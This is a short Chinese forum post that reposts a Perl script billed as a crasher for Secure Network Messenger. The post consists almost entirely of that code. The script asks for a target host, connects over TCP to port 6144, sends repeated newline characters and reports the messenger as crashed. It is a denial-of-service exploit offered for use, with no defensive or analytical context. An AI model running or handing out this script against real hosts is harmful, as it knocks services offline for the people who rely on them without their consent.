发新话题
打印

Secure Network Messenger DoS

Secure Network Messenger DoS

信息来源:www.hk20.com
复制内容到剪贴板
代码:
#!/usr/bin/perl

use IO::Socket;
print ("nSecure Network Messenger Crasher by ClearScreenn");
print ("nEnter host to crash: ");
$h = <STDIN>;
chomp $h;
$socks = IO::Socket::INET->new(
      Proto => "tcp",
      PeerPort => "6144",
      PeerAddr => "$h"
) or die "nNo response from host.";

sleep 1;
print "nSuccesfully connected to $h!n";
for ($count=1; $count<15; $count++)
{
print $socks "n";
select(undef, undef, undef, 0.1);
}
print "nMessenger crashed.";
close $socks;

TOP

发新话题